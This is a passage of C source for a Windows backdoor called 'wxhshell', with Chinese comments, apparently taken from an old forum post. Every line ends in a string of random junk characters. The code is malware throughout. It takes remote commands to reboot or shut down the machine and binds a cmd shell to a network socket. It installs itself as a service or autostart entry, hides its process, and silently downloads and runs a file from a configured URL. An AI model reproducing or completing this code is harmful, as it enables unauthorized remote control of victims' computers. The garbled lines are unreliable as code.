  else { ~EEs} i  
u`_*g^5q"  
    switch(cmd[0]) { pISp*&  
  dFW.}"^c  
  // 帮助 CQgcC-)ns]  
  case '?': { *nRNg.i3D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s5&=Bsv  
    break; m2xBS!fm  
  } io.]'">  
  // 安装 .IgRY\?Q  
  case 'i': { K*Ks"Vx  
    if(Install()) w^HjZV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <^8*<;PaG  
    else  Q=#I9-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9pL g+6O  
    break; Y.sz|u 1  
    } ~}'F887f  
  // 卸载 SJk>Jt=  
  case 'r': { A_R!uRD8-  
    if(Uninstall()) ys8Q.oBv_`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )&,{?$.  
    else 8]bz(P#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bMm3F%FFq&  
    break; 'c %S!$P  
    } F PR`tE  
  // 显示 wxhshell 所在路径 19t{|w<  
  case 'p': { z)-c#F@%  
    char svExeFile[MAX_PATH]; c?E{fD"Fc3  
    strcpy(svExeFile,"\n\r"); rjk( X|R*  
      strcat(svExeFile,ExeFile); X(Qu{HhI  
        send(wsh,svExeFile,strlen(svExeFile),0); 63 2bN=>  
    break; $SY]fNJQ  
    } I4t*?  
  // 重启 TTZe$>f  
  case 'b': { ~aTKG|74  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V'pqxjfd  
    if(Boot(REBOOT)) </[: 9Cl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eGL<vX  
    else { tg\|?  
    closesocket(wsh); H'DVwnn>ik  
    ExitThread(0); ,<` )>2 'o  
    } !<<AzLVL  
    break; Q.Aa{d9e  
    } Kz?#C  
  // 关机 8)j@aiF`  
  case 'd': { eE(b4RCM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *if`/N-q(m  
    if(Boot(SHUTDOWN)) C vDxq:x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fCw*$:O  
    else { ;11x"S  
    closesocket(wsh); *[}^[J x  
    ExitThread(0); "rhYCZ B  
    } [k<1`z3  
    break; {tiKH=&J  
    } [}z,J"Un  
  // 获取shell ZZxk]D<  
  case 's': { :"1|AJo)  
    CmdShell(wsh); lDU_YEQ>  
    closesocket(wsh); Um` !%  
    ExitThread(0); `yiC=$*[  
    break; |~0UM$OB^3  
  } F@YKFk+a  
  // 退出 BuOgOYh9  
  case 'x': { g)"gw+ZFc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sG7u}r  
    CloseIt(wsh); 12UD19!  
    break; m Y,|J\w@  
    } v,@F|c?_S  
  // 离开 ?-)I+EAnE  
  case 'q': { ]?+{aS-]?k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jgv`>o%<W  
    closesocket(wsh); ;C.S3}  
    WSACleanup(); i^msjA  
    exit(1); M@et6aud;K  
    break; L%"LlS g  
        } r6Aneg7  
  } Vvp[P >  
  } iUi>y.}"P  
nh+l7 8  
  // 提示信息 Z4b||  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zUJZ`seF  
} <y.]ImO  
  } p>w]rE:}  
b97w^ah4gJ  
  return; ULJmSe  
}  VqSc;w  
AIYmS#V1W2  
// shell模块句柄 $sHP\{  
int CmdShell(SOCKET sock) )!:sFa 1  
{ \3f& 7wU  
STARTUPINFO si; ]`g@UtD9`  
ZeroMemory(&si,sizeof(si)); &ANP`=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )kXhtjOl|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ')Y'c  
PROCESS_INFORMATION ProcessInfo; MGS-4>Q#  
char cmdline[]="cmd"; Qn@Pd*DR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'a6<ixgo0  
  return 0; Zdc63fllM  
} =@&cHY  
dP?Ge}  
// 自身启动模式 fxaJZz$o  
int StartFromService(void) Z<[<n0o1  
{ 4`m~FNVS   
typedef struct G 2bDf-1ew  
{ x!LQxoNF  
  DWORD ExitStatus; aT!'}GjL  
  DWORD PebBaseAddress; nfSbM3D]h  
  DWORD AffinityMask; nn/?fIZN4  
  DWORD BasePriority; GPz(j'jU  
  ULONG UniqueProcessId; JF&$t}  
  ULONG InheritedFromUniqueProcessId; 9I27TKy  
}   PROCESS_BASIC_INFORMATION; i 9<pqQ  
Q_-_^J  
PROCNTQSIP NtQueryInformationProcess; _|[UI.a  
^hNgm.I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,2Q o7(A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IJYL s  
!G^L/?z3  
  HANDLE             hProcess; c #-U%qZ  
  PROCESS_BASIC_INFORMATION pbi; M>9-=$7  
fZ04!R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I-y#Ks1p+  
  if(NULL == hInst ) return 0; KqBk~-G  
 McH>"`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9EDfd NN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L37Y+C//  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {vUN+We  
&,A64y  
  if (!NtQueryInformationProcess) return 0; ?Nf>]|K:Q  
1tTg P+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (~CLn;'  
  if(!hProcess) return 0; AjcX  N  
MYJg8 '[j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _v Sn`  
drzL.@h|  
  CloseHandle(hProcess); UcBe'r}G  
\PDd$syDA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NI#X @  
if(hProcess==NULL) return 0; NH$r Z7$  
\^ghdU  
HMODULE hMod; Dd;Nz  
char procName[255]; JlMT<;7\  
unsigned long cbNeeded; #e' }.4cr  
-F'b8:m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8Ac)'2t;U  
Bm&kkx.9P  
  CloseHandle(hProcess); 3_~cMlr3T.  
yjfat&$  
if(strstr(procName,"services")) return 1; // 以服务启动 Eskb9^A  
7VcmVq}X  
  return 0; // 注册表启动 =mA: ctu~v  
} S*j6OwZ  
IDnC<MO>  
// 主模块 'smWLz}  
int StartWxhshell(LPSTR lpCmdLine) 8} =JKR^cK  
{ ono4U.C9  
  SOCKET wsl; PH"n{lW.T  
BOOL val=TRUE; 5>BK%`  
  int port=0; >2bKSh  
  struct sockaddr_in door; =t6z \WB  
[2"<W! p  
  if(wscfg.ws_autoins) Install(); T]2q?; N  
:'#TCDlOb  
port=atoi(lpCmdLine); ]-ZEWt6lsc  
me[DmiM,  
if(port<=0) port=wscfg.ws_port; ylt`*|$  
/pF `8$  
  WSADATA data; X]\ \,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :_!8 WB  
N<QXmgqx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c478P=g=5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CPNL 94x  
  door.sin_family = AF_INET; >3z5ww  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &u#&@J  
  door.sin_port = htons(port); pdE3r$C  
?LvCR_D:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zZVfj:i8  
closesocket(wsl); xg)v0y~  
return 1; E<yW\  
} p.LFVFPT  
v\p;SwI   
  if(listen(wsl,2) == INVALID_SOCKET) { \&H nKhI  
closesocket(wsl); M5xCC!  
return 1; 2W4qBaG$=  
} JV;OGh>  
  Wxhshell(wsl); ]T%rjsN  
  WSACleanup(); fk_o@ G!0  
5nsq[Q`  
return 0; v{}#?=I5  
X7s `U5'l  
} (V4 ~`i4V  
]c! ;L5  
// 以NT服务方式启动 .A6(D$ O k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K)J(./  
{ =JJL[}a|  
DWORD   status = 0; liXdNk8  
  DWORD   specificError = 0xfffffff; hWX% 66  
\Gc+WpS(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z)jw|T'X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {mAU3x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HuOIFv  
  serviceStatus.dwWin32ExitCode     = 0; 66fO7OJs  
  serviceStatus.dwServiceSpecificExitCode = 0; } \ZaE~  
  serviceStatus.dwCheckPoint       = 0; ]CoeSA`j  
  serviceStatus.dwWaitHint       = 0; I'|$}/\`  
=jN *P?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wXsmn1w9  
  if (hServiceStatusHandle==0) return; T<XA8h*  
TYy.jFT-  
status = GetLastError(); U\Z?taXB  
  if (status!=NO_ERROR) s0PrbL%_`  
{ u,&^&0K,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WL'P)lI5  
    serviceStatus.dwCheckPoint       = 0; ?mwD*LN3o  
    serviceStatus.dwWaitHint       = 0; >uSy  
    serviceStatus.dwWin32ExitCode     = status; 5=f|7yl  
    serviceStatus.dwServiceSpecificExitCode = specificError; B'fb^n<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /kfgx{jZ  
    return; iRrl^\qn  
  } Y./2Ely  
d+'p@!W_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }2e? ?3  
  serviceStatus.dwCheckPoint       = 0; Z4lO?S5%J  
  serviceStatus.dwWaitHint       = 0; 5F~'gLH/F-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p>upA)W]  
} Rb.SY{}C  
62Z#Y Q}x  
// 处理NT服务事件,比如:启动、停止 #W|'1 OX4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {DR`;ea])1  
{ +u3=dj"[  
switch(fdwControl) PS[+~>%  
{ |]c8jG\h  
case SERVICE_CONTROL_STOP: '#&os`mQ  
  serviceStatus.dwWin32ExitCode = 0; @~%r5pz6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <>8WQn,K  
  serviceStatus.dwCheckPoint   = 0; (Tbw3ENz  
  serviceStatus.dwWaitHint     = 0; (_"*NY0  
  { s{$(*_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t{.8|d@  
  } Ba!J"b]  
  return; pim!.=vN/U  
case SERVICE_CONTROL_PAUSE: HBMhtfWW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4 XAQVq5  
  break; lqm1!5dt  
case SERVICE_CONTROL_CONTINUE: 7eiV{tYF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oomT)gO 6*  
  break; sn)3Z A  
case SERVICE_CONTROL_INTERROGATE: h"/< ?3{  
  break; o:_Xv.HRZo  
}; apu4DAy&8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  t$De/Uq  
} pNKhc#-w  
Ac<Phy-J  
// 标准应用程序主函数 [_Qa9e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8]U{;|';  
{ [@5Ytv H  
* iF]n2g:  
// 获取操作系统版本 rl #p".4q  
OsIsNt=GetOsVer(); ::}{_ Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )3>hhuaa  
{qN 5MsY  
  // 从命令行安装 %'X[^W  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6x%h6<#xh*  
|\7 ET[X q  
  // 下载执行文件 :>Ay^{vf=  
if(wscfg.ws_downexe) { L2[f]J%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %@6}GmK^  
  WinExec(wscfg.ws_filenam,SW_HIDE); jW  3c"  
} LILQ\I<<'  
3GUZ;jdn  
if(!OsIsNt) { 3U7 *>H  
// 如果时win9x,隐藏进程并且设置为注册表启动 C,v(:ZE$J7  
HideProc(); vy\RcP  
StartWxhshell(lpCmdLine); .8by"?**  
} *tK\R&4,4s  
else 5) pj]S!]-  
  if(StartFromService()) _t^{a]/H  
  // 以服务方式启动 s]f6/x/~  
  StartServiceCtrlDispatcher(DispatchTable); &2{ tF  
else 0sfr d  
  // 普通方式启动 Yi$vg  
  StartWxhshell(lpCmdLine); BZ?.D_bu  
*q-['"f  
return 0; UOxkO  
}
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只看该作者 1 发表于: 2006-10-10
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